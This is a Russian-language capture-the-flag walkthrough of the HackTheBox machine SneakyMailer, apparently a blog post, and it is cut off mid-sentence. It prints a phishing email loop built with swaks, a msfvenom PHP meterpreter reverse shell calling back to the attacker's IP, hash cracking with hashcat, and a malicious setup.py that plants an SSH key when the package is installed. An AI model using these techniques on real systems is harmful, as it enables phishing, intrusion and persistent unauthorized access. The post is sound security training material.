{"id":313955,"date":"2020-11-28T15:00:23","date_gmt":"2020-11-28T15:00:23","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=313955"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=313955","title":{"rendered":"Hack The Box. \u041f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 SneakyMailer. \u0424\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u0430\u044f \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0430, LPE \u0447\u0435\u0440\u0435\u0437 PyPI \u0438 GTFOBins pip3"},"content":{"rendered":"\n<div class=\"post__text post__text-html post__text_v1\" id=\"post-content-body\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/g3\/7v\/qr\/g37vqrkokjrfewezrskexmwzj7s.png\"><\/p>\n<p>  \u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e \u0440\u0435\u0448\u0435\u043d\u0438\u0439, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0434\u043e\u0440\u0435\u0448\u0438\u0432\u0430\u043d\u0438\u0435 \u043c\u0430\u0448\u0438\u043d \u0441 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0438 <a href=\"https:\/\/www.hackthebox.eu\" rel=\"nofollow\">HackTheBox<\/a>. <\/p>\n<p>  \u0412 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0441\u043f\u0438\u0441\u043e\u043a \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0443 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043f\u0438\u0441\u0435\u043c, \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u043c PHP \u0448\u0435\u043b\u043b \u0447\u0435\u0440\u0435\u0437 FTP, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f PyPI \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 GTFOBins pip3. <\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f<\/b>                         <\/p>\n<div class=\"spoiler_text\">\u0427\u0442\u043e\u0431\u044b \u0432\u044b \u043c\u043e\u0433\u043b\u0438 \u0443\u0437\u043d\u0430\u0432\u0430\u0442\u044c \u043e \u043d\u043e\u0432\u044b\u0445 \u0441\u0442\u0430\u0442\u044c\u044f\u0445, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0438 \u0434\u0440\u0443\u0433\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u044f \u0441\u043e\u0437\u0434\u0430\u043b <a href=\"https:\/\/t.me\/RalfHackerChannel\" rel=\"nofollow\">\u043a\u0430\u043d\u0430\u043b \u0432 Telegram<\/a> \u0438 <a href=\"https:\/\/t.me\/RalfHackerPublicChat\" rel=\"nofollow\">\u0433\u0440\u0443\u043f\u043f\u0443 \u0434\u043b\u044f \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u043b\u044e\u0431\u044b\u0445 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432<\/a> \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0418\u0438\u041a\u0411. \u0422\u0430\u043a\u0436\u0435 \u0432\u0430\u0448\u0438 \u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u043e\u0441\u044c\u0431\u044b, \u0432\u043e\u043f\u0440\u043e\u0441\u044b, \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 <a href=\"https:\/\/t.me\/hackerralf8\" rel=\"nofollow\">\u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u044e \u043b\u0438\u0447\u043d\u043e \u0438 \u043e\u0442\u0432\u0435\u0447\u0443 \u0432\u0441\u0435\u043c<\/a>.<br \/>  <a name=\"habracut\"><\/a><br \/>  \u0412\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445. \u0410\u0432\u0442\u043e\u0440 \u044d\u0442\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u043d\u0435 \u043d\u0435\u0441\u0451\u0442 \u043d\u0438\u043a\u0430\u043a\u043e\u0439 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0437\u0430 \u043b\u044e\u0431\u043e\u0439 \u0443\u0449\u0435\u0440\u0431, \u043f\u0440\u0438\u0447\u0438\u043d\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043c\u0443-\u043b\u0438\u0431\u043e \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u043c\u0435\u0442\u043e\u0434\u043e\u0432, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430.  <\/div>\n<\/p><\/div>\n<p>  <\/p>\n<h2>Recon<\/h2>\n<p>  \u0414\u0430\u043d\u043d\u0430\u044f \u043c\u0430\u0448\u0438\u043d\u0430 \u0438\u043c\u0435\u0435\u0442 IP \u0430\u0434\u0440\u0435\u0441 10.10.10.197, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044e \u0432 \/etc\/hosts.<\/p>\n<pre><code class=\"plaintext\">10.10.10.197 \tsneakymailer.htb<\/code><\/pre>\n<p>  \u041f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u0435\u043c \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u043f\u043e\u0440\u0442\u044b. \u042f \u044d\u0442\u043e \u0434\u0435\u043b\u0430\u044e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430, \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044e\u0449\u0435\u0433\u043e \u043e\u0434\u0438\u043d \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u2014 \u0430\u0434\u0440\u0435\u0441 \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u0435\u043c\u043e\u0433\u043e \u0445\u043e\u0441\u0442\u0430:<\/p>\n<pre><code class=\"bash\">#!\/bin\/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '\/' -f 1 | tr '\\n' ',' | sed s\/,$\/\/) nmap -p$ports -A $1<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ks\/vp\/u6\/ksvpu6o4fh84t9xclhlr0ahfyle.png\"><\/p>\n<p>  \u0412\u0438\u0434\u0438\u043c \u043c\u043d\u043e\u0433\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u043f\u043e\u0440\u0442\u043e\u0432, \u0447\u0430\u0441\u0442\u044c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u043f\u043e\u0447\u0442\u0443, 80 \u0438 8080 \u2014 \u0432\u0435\u0431 \u0441\u0435\u0440\u0432\u0435\u0440, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u044b \u0441\u043b\u0443\u0436\u0431\u044b FTP \u0438 SSH, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0443\u0436\u043d\u044b \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435. \u041a\u0430\u043a \u0432\u0438\u0434\u043d\u043e \u0438\u0437 \u0441\u043a\u0430\u043d\u0430, \u043d\u0430 \u0432\u0435\u0431 \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043d\u0430 \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u0439 \u0434\u043e\u043c\u0435\u043d. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0435\u0433\u043e \u0432 \/etc\/hosts.<br \/>  <code>10.10.10.197 \u00a0\u00a0\u00a0sneakycorp.htb<\/code><br \/>  \u041d\u0430 \u0441\u0430\u0439\u0442\u0435 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0441\u043f\u0438\u0441\u043e\u043a \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 email\u2019\u044b.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/yt\/l2\/gx\/ytl2gx-mzlj6jwqlgpnl1mvbt-m.png\"><\/p>\n<p>  \u0414\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0432\u0441\u0435\u0445 \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b \u0441\u043e\u0432\u0435\u0442\u0443\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c <a href=\"https:\/\/github.com\/kevincobain2000\/email_extractor\" rel=\"nofollow\">email extractor<\/a>.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/5a\/lc\/wi\/5alcwit34ohm2od6eri5ouoys7o.png\"><\/p>\n<p>  \u0410 \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043e\u0442\u043a\u0440\u043e\u0435\u043c 80 \u043f\u043e\u0440\u0442 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c \u043c\u043d\u043e\u0433\u043e\u0430\u0434\u0440\u0435\u0441\u043d\u0443\u044e \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0443 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043f\u0438\u0441\u0435\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e swaks.  <\/p>\n<pre><code class=\"bash\">while read mail; do swaks --to $mail --from colleenhurst@sneakymailer.htb --header 'Subject: News' --body 'Look it: http:\/\/10.10.14.114\/' --server sneakymailer.htb | grep 'To:' ; done &lt; emails.txt<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/hh\/fq\/of\/hhfqofoqdcgbihnxszenujww3je.png\"><\/p>\n<p>  \u0418 \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u0442 \u043f\u043e \u043d\u0430\u0448\u0435\u0439 \u0441\u0441\u044b\u043b\u043a\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/pe\/hp\/tu\/pehpturjcak8ycue6hofvd47vbo.png\"><\/p>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ht\/8i\/vv\/ht8ivv8krsclhf1brtudtoevzlu.png\"><\/p>\n<p>  \u0418 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u0430\u0440\u043e\u043b\u044c, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435. <\/p>\n<h2>Entry point<\/h2>\n<p>  \u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c Evolution.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/zq\/lo\/xc\/zqloxc695mq1rxwmngaghcqo6qc.png\"><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/wg\/3u\/yo\/wg3uyobqb3l-buvm6pmjzst6jhc.png\"><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/1v\/fk\/t5\/1vfkt5wfrqtd36rapynfyxfg0zg.png\"><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/4m\/o9\/ne\/4mo9ne7vmw3kl1unheohfdiw2da.png\"><\/p>\n<p>  \u0412\u0432\u043e\u0434\u0438\u043c \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u0440\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u0438 \u0432\u0438\u0434\u0438\u043c \u0434\u0432\u0430 \u043f\u0438\u0441\u044c\u043c\u0430.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/br\/vm\/jm\/brvmjmsafv-imvinmugyvqfhca0.png\"><\/p>\n<p>  \u0412 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0435\u0441\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 (\u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f FTP) \u0438 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0435 PyPI, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0435 \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c low.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ry\/m_\/nt\/rym_ntqc20df8ubbbivwgl91yyw.png\"><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/-i\/bl\/4v\/-ibl4v1brmdt9kx8rahbktydnbc.png\"><\/p>\n<p>  \u0417\u0430\u0439\u0434\u044f \u043d\u0430 FTP \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u0437\u0430\u043c\u0435\u0447\u0430\u0435\u043c, \u0447\u0442\u043e \u044d\u0442\u043e \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u043a\u043e\u0434\u044b \u0441\u0430\u0439\u0442\u0430.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/kb\/aw\/nj\/kbawnj4m956afbdtgb_aonesp6o.png\"><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/18\/fd\/yw\/18fdyw6hjl2sfdsgojvpix7u4fy.png\"><\/p>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u043f\u043e\u0434\u0434\u043e\u043c\u0435\u043d dev \u0432 \/etc\/hosts.<br \/>  <code>10.10.10.197 \u00a0\u00a0\u00a0dev.sneakycorp.htb<\/code><br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/as\/ro\/jr\/asrojrwdd4rckdqgh45qcoemd0q.png\"><\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c php \u0448\u0435\u043b\u043b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0441\u0434\u0435\u043b\u0430\u0435\u043c \u044d\u0442\u043e. \u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b meterpreter.  <\/p>\n<pre><code class=\"bash\">msfvenom -p php\/meterpreter_reverse_tcp LHOST=10.10.14.114 LPORT=4321 -f raw &gt; r.php cat r.php | xclip -selection clipboard &amp;&amp; echo '&lt;?php ' | tr -d '\\n' &gt; r.php &amp;&amp; xclip -selection clipboard -o &gt;&gt; r.php<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/h9\/ht\/vs\/h9htvsdvzl3oyiy2jxzlxl5dalu.png\"><\/p>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u0430 \u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e dev \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u043b\u0438\u0441\u0442\u0435\u043d\u0435\u0440.<br \/>  <code>handler -p php\/meterpreter_reverse_tcp -H 10.10.14.114 -P 4321<\/code><br \/>  \u0418 \u043f\u043e\u0441\u043b\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u043d\u0430\u0448\u0435\u043c\u0443 \u0444\u0430\u0439\u043b\u0443, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u0441\u0435\u0441\u0441\u0438\u044e.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/hu\/fd\/na\/hufdna2vzcn4b_rrgkl2rfvi0ho.png\"><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/v1\/f_\/16\/v1f_161hqn6i11mfzey3q3xnfco.png\"><\/p>\n<h2>USER<\/h2>\n<p>  \u041e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u043c\u0441\u044f \u0432 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u043c \u0434\u043b\u044f \u0441\u0435\u0431\u044f \u043f\u043e\u0434\u0434\u043e\u043c\u0435\u043d pypi, \u0443\u0436\u0435 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0439 \u0432 \u0434\u0430\u043d\u043d\u043e\u0439 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438, \u0438 \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0444\u0430\u0439\u043b .htpasswd.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/pm\/2q\/i-\/pm2qi-ftn3wl5rxivtup7ytgsgm.png\"><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/wq\/po\/rw\/wqporwklua_p5t1cdjtwijgi8dg.png\"><\/p>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043d\u0430\u0439\u0434\u0435\u043c \u043f\u0430\u0440\u043e\u043b\u044c.  <\/p>\n<pre><code class=\"bash\">hashcat --example | grep '$apr1' -A2 -B2<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ul\/wb\/av\/ulwbavw-fjevehgpzyrqinlsj3i.png\"><\/p>\n<pre><code class=\"bash\">hashcat -m 1600 -a 0 pypi.hash .\/tools\/rockyou.txt<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/pu\/-j\/qc\/pu-jqc_swjw8dmbleg1qkkv4rnk.png\"><\/p>\n<p>  \u041d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0439 \u043f\u043e\u0434\u0434\u043e\u043c\u0435\u043d \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0432 \/etc\/hosts.  <\/p>\n<pre><code class=\"bash\">10.10.10.197 \u00a0\u00a0\u00a0pypi.sneakycorp.htb<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ai\/za\/sh\/aizashjba7viik1zybtwmx2i_na.png\"><\/p>\n<p>  \u041d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0441\u0432\u043e\u0435\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u0430\u0435\u0442 \u043d\u0430\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430. \u0412\u043e\u0442 <a href=\"https:\/\/www.linode.com\/docs\/applications\/project-management\/how-to-create-a-private-python-package-repository\/\" rel=\"nofollow\">\u0445\u043e\u0440\u043e\u0448\u0430\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f<\/a> \u043f\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044e python \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0434\u0438\u0440\u0435\u043a\u0442\u0440\u0438\u044e.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/kg\/ly\/wi\/kglywigl74bg-tesjdlo7s-e4ei.png\"><\/p>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0444\u0430\u0439\u043b\u044b: __init__.py, .pypirc, README.md, setup.cfg \u0438 setup.py (\u043e\u043d \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u0434). \u041d\u0438\u0436\u0435 \u043f\u0440\u0438\u0432\u043e\u0436\u0443 \u043a\u043e\u0434 \u0444\u0430\u0439\u043b\u0430 setup.py. \u0412 \u043d\u0435\u043c \u043c\u044b \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c \u0441\u0432\u043e\u0439 \u043a\u043b\u044e\u0447 SSH \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e low.  <\/p>\n<pre><code class=\"python\">from setuptools import setup  try:  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0f = open('\/home\/low\/.ssh\/authorized_keys', 'a')  f.write('ssh-rsa ... ')  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0f.close()  except:  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0setup(  \u00a0\u00a0\u00a0name='ralfpack',  \u00a0\u00a0\u00a0packages=['ralfpack'],  \u00a0\u00a0\u00a0description='R',  \u00a0\u00a0\u00a0version='0.1',  \u00a0\u00a0\u00a0url='http:\/\/pypi.sneakymailer.htb:8080\/ralfpack',  \u00a0\u00a0\u00a0author='ralf',  \u00a0\u00a0\u00a0author_email='ralf@ralf.com',  \u00a0\u00a0\u00a0keywords=['pip','ralfpack','example'] )<\/code><\/pre>\n<p>  \u0421\u043e\u0437\u0434\u0430\u0435\u043c __init__.py (\u0447\u0442\u043e\u0431\u044b \u0431\u044b\u043b), \u043f\u0443\u0441\u0442\u043e\u0439 README.md \u0438 setup.cfg (\u0432 \u043d\u0435\u043c \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c README.md).<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/52\/4i\/jl\/524ijlyfkxxmbrxn_tgblog7pb8.png\"><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/xt\/tj\/uf\/xttjufy3kdfnqeki9undq7fu804.png\"><\/p>\n<p>  \u0418 \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u0434\u0435\u043b\u0430\u0442\u044c .pypirc \u0444\u0430\u0439\u043b. \u0417\u0430\u0434\u0430\u0435\u043c \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u043d\u0435\u0433\u043e.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/s9\/9x\/zt\/s99xztlcas01ieitg0vissr4juy.png\"><\/p>\n<p>  \u0417\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c \u0432\u0441\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0445\u043e\u0441\u0442.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/0f\/qd\/7s\/0fqd7skzycy_7jj1dvurrboa4xc.png\"><\/p>\n<p>  \u041f\u043e\u043b\u0443\u0447\u0438\u043c \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443 \u0438 \u0441\u043e\u0431\u0435\u0440\u0435\u043c \u043d\u0430\u0448 \u043f\u0430\u043a\u0435\u0442.  <\/p>\n<pre><code class=\"bash\">python3 -c 'import pty;pty.spawn(&quot;\/bin\/bash&quot;)' python3 setup.py sdist<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/3y\/1b\/ge\/3y1bgee2ppfqv9ci7epizsrqyuw.png\"><\/p>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043c \u0435\u0433\u043e.  <\/p>\n<pre><code class=\"bash\">python3 setup.py sdist upload -r ralfpack<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/qs\/kb\/nm\/qskbnmmtfwdlsy-qybmpvwaow6y.png\"><\/p>\n<p>  \u041d\u0430\u0448 \u043a\u043b\u044e\u0447 